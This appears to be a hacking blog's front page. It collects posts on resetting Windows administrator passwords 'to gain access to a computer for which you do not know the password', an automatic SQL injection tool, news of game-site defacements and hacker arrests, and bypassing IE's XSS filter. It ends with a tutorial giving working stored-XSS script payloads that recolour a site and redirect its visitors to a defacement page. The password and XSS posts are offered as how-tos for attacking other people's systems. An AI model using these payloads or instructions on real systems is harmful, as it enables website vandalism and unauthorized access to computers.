Blogger templates

How to Hack Windows Administrator Password


This hack will show you how to reset Windows administrator password (for Win 2000, XP, Vista and Win 7) at times when you forget it or when you want to gain access to a computer for which you do not know the password.
Most of us have experienced a situation where in we need to gain access to a computer which is password protected or at times we may forget the administrator password without which it becomes impossible to login to the computer. So here is an excellent hack using which you can reset the password or make the password empty (remove the password) so that you can gain administrator access to the computer. You can do this with a small tool called  Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features.
  • You do not need to know the old password to set a new one
  • Will detect and offer to unlock locked or disabled out user accounts!
  • There is also a registry editor and other registry utilities that works under linux/unix, and can be used for other things than password editing.

How it works?

Most Windows operating systems stores the login passwords and other encrypted passwords in a file called sam (Security Accounts Manager). This file can be usually found in \windows\system32\config. This file is a part of Windows registry and remains inaccessible as long as the OS is active. Hence it is necessary that you need to boot off your computer and access this sam file via boot. This tool intelligently gains access to this file and will reset/remove the password associated with administrator or any other account.
The download link for both CD and floppy drives along with the complete instructions is given below
Offline NT Password & Reg Editor Download
It is recommended that you download the CD version of the tool since floppy drive is outdated and doesn’t exist in today’s computer. Once you download you’ll get a bootable image which you need to burn it onto your CD. Now boot your computer from this CD and follow the screen instructions to reset the password.

Another simple way to reset non-administrator account passwords

Here is another simple way through which you can reset the password of any non-administrator accounts. The only requirement for this is that you need to have administrator privileges. Here is a step-by-step instruction to accomplish this task.
1. Open the command prompt (Start->Run->type cmd->Enter)
2. Now type net user and hit Enter
3. Now the system will show you a list of user accounts on the computer. Say for example you need to reset the password of the account by name John, then do as follows
4. Type net user John * and hit Enter. Now the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.
So in this way you can reset the password of any Windows account at times when you forget it so that you need not re-install your OS for any reason. I hope this helps.
READMORE
 

FatCal - Automatic SQL Injection tool


FatCat is an automatic SQL injection tool. This tool is useful for testing SQLI vulnerabilities of a web application. This tool can extract whole database data. FatCat Features that help you to extract the Database information, Table information, and Column information from web application. Only If it is vulnerable to SQL Injection Vulnerability.



Features:  
1)  Normal SQL Injection 
2)  Double Query SQL Injection   


In Next Version:   
1)  WAF bypass 
2)  Cookie Header passing 
3)  Load File 3) Generating XSS from SQL   


Requirement:  
1)  PHP Verison 5.3.0 
2)  Enable file_get_function  


Download:
http://code.google.com/p/fatcat-sql-injector/downloads/list
READMORE
 

Call of Duty, Spider-Man and other 7 Largest Video Game Sites Hacked


Today Turkish Hackers from group "GrayHatz" hack and Deface Call of Duty, Spider-Man and other 7 Largest Video Game Sites.

Hacked Sites Include:- Call of Duty® Official Video Game Site : Link and Mirror
- X-Men Origins: Wolverine Official Video Game Site : Link and Mirror
- Spider-Man: Edge of Time Official Game Website
- Transformers: Fall of Cybertron Official Video Game Site : Link and Mirror
- Prototype 2 Official Video Game Site : Link and Mirror
- Infinity Ward Developer of Call of Duty : Link and Mirror
- The Quantum Of Solace Game Official Video Game : Link and Mirror
- DJ Hero 2 | Available Now Official Site : Link and Mirror
- Guitar Hero Official Site : Link and Mirror
READMORE
 

NASA and Pentagon Hacker - TinKode Arrested in Romania

NASA and Pentagon Hacker - TinKode Arrested in Romania
NASA+and+Pentagon+Hacker+-+TinKode+Arrested+in+Romania

Romanian police have arrested a man believed to be TinKode, the notorious hacker responsible for several daring, high-profile cyberattacks, including last year's breach of NASA's servers, Royal Navy, The European Space Agency and MySQL.com. The 20-year-old man, named as Razvan Manole Cernaianu, allegedly attacked Pentagon and NASA computer systems, revealed security holes, and published information about SQL injection vulnerabilities he had discovered, the Romanian Directorate for Investigating Organized Crime and Terrorist (DIICOT) said in a press release.

He also posted a video on his blog demonstrating an attack he carried out against the U.S. government, and created and offered for sale a computer program used to hack Web sites. Through his exploits, Cernaianu blocked access to systems and seriously disabled their proper functioning, authorities said.
Currently, Cernăianu is being taken to Bucharest for questioning and he is charged with breaching a computing system without authorization, unauthorized transfer of data from a computing system, and the disruption of a computing system. Romanian authorities said the FBI and NASA took part in the investigation.
READMORE
 

Anonymous Hacks FBI and Records Conference Call


Anonymous+Hacks+FBI+and+Records+Conference+Call

Earlier today, Anonymous released a confidential conference call between the FBI and law enforcement officers in the UK. The 16-minute call discusses ongoing investigations into hackers associated with Anonymous, AntiSec, and LulzSec.

From all appearances, Anonymous retrieved the sensitive access code information and a list of attendees from an FBI email account. The group released a roughly 15-minute-long recording of what appears to be a Jan. 17 conference call devoted to tracking and prosecuting members of the loose-knit hacking group.

The email, titled “Anon-Lulz International Coordination Call”, was published on pastebin earlier today: http://pastebin.com/8G4jLha8 . The email with details for accessing the call was sent to law enforcement officials in Britain, France, the Netherlands and others but the only people who identify themselves on the call are from the FBI and Scotland Yard.In a message on Twitter, Anonymous posted links to the audio recording and said the FBI "might be curious how we're able to continuously read their internal comms for some time now."

The initial link to the conference call was for an mp3 download, but it was also made available to stream on YouTube.


The FBI and Scotland Yard have now confirmed that their internal conference call describing their investigation into Anonymous hackers was illegally intercepted, as was the email containing the conference call details. The Metropolitan Police also confirmed it, saying:“We are aware of the video which relates to an FBI conference call involving a PCeU representative. The matter is being investigated by the FBI. We continue to carry out a full assessment. We are not prepared to discuss further.”

Karen Todner, a lawyer for Cleary, said that the recording could be “incredibly sensitive” and warned that such data breaches had the potential to derail the police’s work.“If they haven’t secured their email it could potentially prejudice the investigation,” she told. Following a spate of arrests across the world, the group and its various offshoots have focused their attention on law enforcement agencies in general and the FBI in particular.
READMORE
 

How to bypass Internet Explorer's XSS filter

Last night i was going through some security papers, then i have found a nice reaserch paper on bypassing Internet Explorer's XSS filter.  “read more” By default Internet Explorer 9 has a security system to help prevent Reflective XSS attacks.
There are well known shortfalls of this system,  most notably that it does not attempt to address DOM based XSS or Stored XSS. This security system is built on an arbitrary philosophy which only accounts for the most straight forward of reflective XSS attacks[1]. This paper is covering three attack patterns that undermine Internet Explorer's ability to prevent Reflective XSS.  These are general attack patterns that are independent of Web Application platform.


Read here 
https://sitewat.ch/files/Bypassing%20Internet%20Explorer%27s%20XSS%20Filter.pdf

READMORE
 

How to deface website with Cross Site Scripting ?

                                                                        Defacing is one of the most common thing when the hacker found the vulnerability in website. Defacing is changing the content the website hacker content. Most of time, attacker use this technique to inform about the vulnerability to Admin. But it's bad idea..!




Script for chaning the background Color of a website:
<script>document.body.bgColor="red";</script>


Script for chaning the background image of a website:
<script>document.body.background="http://your_image.jpg";</script>


Defacement Page with Pastehtml:
First of all upload some defacement page(html) to pastehtml.com and get the link.

When you find a XSS vulnerable site, then insert the script as :
<script>window.location="http://www.pastehtml.com/Your_Defacement_link";</script>

This script will redirect the page to your pastehtml defacement page.

Note: You can deface only persistent XSS vulnerable sites
READMORE